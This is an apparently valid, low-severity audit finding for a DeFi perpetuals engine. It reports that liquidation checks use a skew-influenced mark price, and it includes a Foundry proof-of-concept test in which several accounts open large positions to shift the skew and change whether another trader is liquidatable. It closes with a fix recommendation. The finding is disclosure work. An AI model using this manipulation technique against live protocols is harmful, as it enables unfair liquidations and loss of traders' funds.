DeFiFoundry
60,000 USDC
View results
Submission Details
Severity: low
Valid

`PerpsEngine::liquidateAccounts` Can be Manipulated by Changing the Skew

Summary

PerpsEngine::liquidateAccounts Can be Manipulated by Changing the Skew. Therefore, traders can open trades in the same market and can manipulate accounts to be liquidatable or unliquidatable.

Vulnerability Details

Whenever an account liquidation is attempted the PerpMarket::getMarkPrice is called to return the current asset price which is influenced by the current skew of the market.

Here are the relevant lines of code:
Link
Link
Link

Example of an exploit:
Setup:

  1. traderOne opens a trade that is close to the initialMarginRequirements
    Exploitation:

  2. attacker opens a trade or multiple trade (can also be made with multiple accounts to bypass restrictions). That changes the market skew.

  3. traderOne due to a shift in the skew is open liquidation.

PoC

Steps to run:

  1. Paste the following test into liquidateAccounts.t.sol

  2. In foundry.toml set the `seed = 5128204

  3. Include the following imports:

// Openzeppelin dependencies
import { ERC20, IERC20 } from "@openzeppelin/token/ERC20/ERC20.sol";
// added for checks
import { console, Vm } from "forge-std/Test.sol";
import { MockPriceFeed } from "test/mocks/MockPriceFeed.sol";
import { ud60x18 } from "@prb-math/UD60x18.sol";
///////////////////////////////////////////
// PoC for Market Manipulation ///////////
///////////////////////////////////////////
// foundry.toml seed = 5128204
//(runs: 16, μ: 5128204, ~: 5128204)
function testFuzz_TraderCanBeMovedToLiquidationZoneByOtherTraders(
uint256 marketId,
uint256 accountMarginSasuke
)
external
givenTheSenderIsARegisteredLiquidator
whenTheAccountsIdsArrayIsNotEmpty
givenAllAccountsExist
{
///////////////////////////////////////////
//Step One ///////////
///////////////////////////////////////////
uint256 staticMockOpenPrice = 1000e18; // For this test there will be no price change
bool isLong = true; // All orders will be long as the goal is to move the skew which moves naruto (trader)
// into liquidation
TestFuzz_GivenThereAreLiquidatableAccountsInTheArray_Context memory ctxSasuke;
// Setup for Naruto
TestFuzz_GivenThereAreLiquidatableAccountsInTheArray_Context memory ctx;
ctx.fuzzMarketConfig = getFuzzMarketConfig(marketId);
ctxSasuke.fuzzMarketConfig = ctx.fuzzMarketConfig;
//Naruto's margin is 1_000_000 USD
ctx.marginValueUsd = 1_000_000e18;
// Market's initial Margin requirement
ctx.initialMarginRate = ctx.fuzzMarketConfig.imr;
// Giving Naruto USDZ to trade with
deal({ token: address(usdz), to: users.naruto.account, give: ctx.marginValueUsd });
// Recording the accountId of Naruto so we can liquidate him later
ctx.accountsIds = new uint128[](1);
ctx.accountMarginValueUsd = ctx.marginValueUsd;
ctx.tradingAccountId = createAccountAndDeposit(ctx.accountMarginValueUsd, address(usdz));
/* int256 skewBefore = perpsEngine.getSkew(ctx.fuzzMarketConfig.marketId).intoInt256();
console.log("The skew before any trades is: ", uint256(skewBefore));
console.log("this initial margin requirement is: ", ctx.fuzzMarketConfig.imr); */
// Based off the static mockPrice Naruto is opening a trade close to the Initial Minimal Margin requirements
uint256 marginValueInt = 10_000e18;
uint256 tradeSize = marginValueInt
- marginValueInt * (ctx.fuzzMarketConfig.imr + ctx.fuzzMarketConfig.orderFees.takerFee) / 1e18 - 200e18;
openManualPosition(
ctx.fuzzMarketConfig.marketId,
ctx.fuzzMarketConfig.streamId,
staticMockOpenPrice,
ctx.tradingAccountId,
int128(int256((tradeSize)))
);
(,, UD60x18 initialTotalOpenInterest) = perpsEngine.getOpenInterest(ctx.fuzzMarketConfig.marketId);
/* int256 skewAfterNaruto = perpsEngine.getSkew(ctx.fuzzMarketConfig.marketId).intoInt256();
console.log("Skew after Naruto is: ", uint256(skewAfterNaruto)); */
ctx.accountsIds[0] = ctx.tradingAccountId; // storing the tradindId that we will liquidate
deal({ token: address(usdz), to: users.naruto.account, give: ctx.marginValueUsd });
/////////////////////////////////////////////////////////
// Step Two: Preform trades to manipulate skew///////////
////////////////////////////////////////////////////////
address sasuke = makeAddr("sasuke");
changePrank(sasuke);
// Giving him alot of margin to prevent InsufficientMargin error
ctx.marginValueUsd = 1_000_000e18 * 4;
ctx.initialMarginRate = ctx.fuzzMarketConfig.imr;
deal({ token: address(usdz), to: address(sasuke), give: ctx.marginValueUsd });
IERC20(usdz).approve(address(perpsEngine), ctx.marginValueUsd);
ctx.accountMarginValueUsd = ctx.marginValueUsd;
ctx.tradingAccountId = createAccountAndDeposit(ctx.accountMarginValueUsd, address(usdz));
// Trade size is not in USD but the amount of the token being traded
int128 sasukeTradeSize = int128(925e18 * 4);
openManualPosition(
ctx.fuzzMarketConfig.marketId,
ctx.fuzzMarketConfig.streamId,
staticMockOpenPrice,
ctx.tradingAccountId,
sasukeTradeSize
);
// Another trader
address traderOne = makeAddr("traderOne");
changePrank(traderOne);
ctx.marginValueUsd = 1_000_000e18 * 8;
ctx.initialMarginRate = ctx.fuzzMarketConfig.imr;
deal({ token: address(usdz), to: address(traderOne), give: ctx.marginValueUsd });
IERC20(usdz).approve(address(perpsEngine), ctx.marginValueUsd);
ctx.accountMarginValueUsd = ctx.marginValueUsd;
ctx.tradingAccountId = createAccountAndDeposit(ctx.accountMarginValueUsd, address(usdz));
openManualPosition(
ctx.fuzzMarketConfig.marketId,
ctx.fuzzMarketConfig.streamId,
staticMockOpenPrice,
ctx.tradingAccountId,
sasukeTradeSize * 2
);
// Another trader
address traderTwo = makeAddr("traderTwo");
changePrank(traderTwo);
ctxSasuke.marginValueUsd = 400_000e18;
ctxSasuke.initialMarginRate = ctx.fuzzMarketConfig.imr;
deal({ token: address(usdz), to: address(traderTwo), give: ctxSasuke.marginValueUsd });
IERC20(usdz).approve(address(perpsEngine), ctxSasuke.marginValueUsd); // First we need to give the protocol
// permission to
// spend Sasuke's money
ctxSasuke.accountMarginValueUsd = ctxSasuke.marginValueUsd;
ctxSasuke.tradingAccountId = createAccountAndDeposit(ctxSasuke.accountMarginValueUsd, address(usdz));
// Here we are have a division by zero
openPosition(
ctxSasuke.fuzzMarketConfig,
ctxSasuke.tradingAccountId,
ctxSasuke.initialMarginRate,
ctxSasuke.accountMarginValueUsd,
isLong
);
// Another trader
address traderThree = makeAddr("traderThree");
changePrank(traderThree);
ctxSasuke.marginValueUsd = 400_000e18;
ctxSasuke.initialMarginRate = ctx.fuzzMarketConfig.imr;
deal({ token: address(usdz), to: address(traderThree), give: ctxSasuke.marginValueUsd });
IERC20(usdz).approve(address(perpsEngine), ctxSasuke.marginValueUsd); // First we need to give the protocol
// permission to
// spend Sasuke's money
// last account id == 0 @audit when can a trading accountId == 0 ????
//ctxSasuke.accountsIds = new uint128[](1);
ctxSasuke.accountMarginValueUsd = ctxSasuke.marginValueUsd;
ctxSasuke.tradingAccountId = createAccountAndDeposit(ctxSasuke.accountMarginValueUsd, address(usdz));
openPosition(
ctxSasuke.fuzzMarketConfig,
ctxSasuke.tradingAccountId,
ctxSasuke.initialMarginRate,
ctxSasuke.accountMarginValueUsd,
true
);
// Another trader
address traderFour = makeAddr("traderFour");
changePrank(traderFour);
ctxSasuke.marginValueUsd = 400_000e18;
ctxSasuke.initialMarginRate = ctx.fuzzMarketConfig.imr;
deal({ token: address(usdz), to: address(traderFour), give: ctxSasuke.marginValueUsd });
//Token approval for newly created account
IERC20(usdz).approve(address(perpsEngine), ctxSasuke.marginValueUsd);
ctxSasuke.accountMarginValueUsd = ctxSasuke.marginValueUsd;
ctxSasuke.tradingAccountId = createAccountAndDeposit(ctxSasuke.accountMarginValueUsd, address(usdz));
openPosition(
ctxSasuke.fuzzMarketConfig,
ctxSasuke.tradingAccountId,
ctxSasuke.initialMarginRate,
ctxSasuke.accountMarginValueUsd,
true
);
deal({ token: address(usdz), to: address(sasuke), give: ctxSasuke.marginValueUsd });
/* SD59x18 unrealizedPnl =
perpsEngine.exposed_getUnrealizedPnl(1, ctxSasuke.fuzzMarketConfig.marketId, ud60x18(1e18));
if (unrealizedPnl.intoInt256() <= 0) {
uint256 absolutePnl = uint256(-1 * unrealizedPnl.intoInt256());
console.log("The PNL is negative: ", absolutePnl);
} else {
console.log("The Pnl is positive: ", uint256(unrealizedPnl.intoInt256()));
} */
/* int256 skewAfterNaruto = perpsEngine.getSkew(ctx.fuzzMarketConfig.marketId).intoInt256();
console.log("The max skew is ", ctx.fuzzMarketConfig.maxSkew);
console.log("Final Skew is ", uint256(skewAfterNaruto)); */
(,, UD60x18 finalTotalOpenInterest) = perpsEngine.getOpenInterest(ctx.fuzzMarketConfig.marketId);
console.log("Total open Interest after first Trade:", initialTotalOpenInterest.intoUint256());
console.log("Total open Interest is:", finalTotalOpenInterest.intoUint256());
changePrank({ msgSender: liquidationKeeper });
vm.recordLogs();
perpsEngine.liquidateAccounts(ctx.accountsIds); // <--- This will silently fail liquidation which is a design
// choice
assertEq(vm.getRecordedLogs().length, 0); // <--- If the recorded logs length is greater than 0 then Naruto
// was successfuly liquidated
// total open interest start 9292000000000000000000 => 9.292e21
// total final open interest 2379466919027670464186100 => 2.379e24
}

Impact

There are two likely attackers:

  1. A protocol staker motivated by the rewards that will be distributed when a trader is liquidated.

  2. A trader that wants to move his position out of the liquidation zone.

Tools Used

Foundry testing and manual review

Recommendations

When getting the price in the PerpsEngine::liquidateAccounts function do not use the skew to determine the price.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

When calculating upnl and other state of out-of-context markets the indexPrice should be used

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.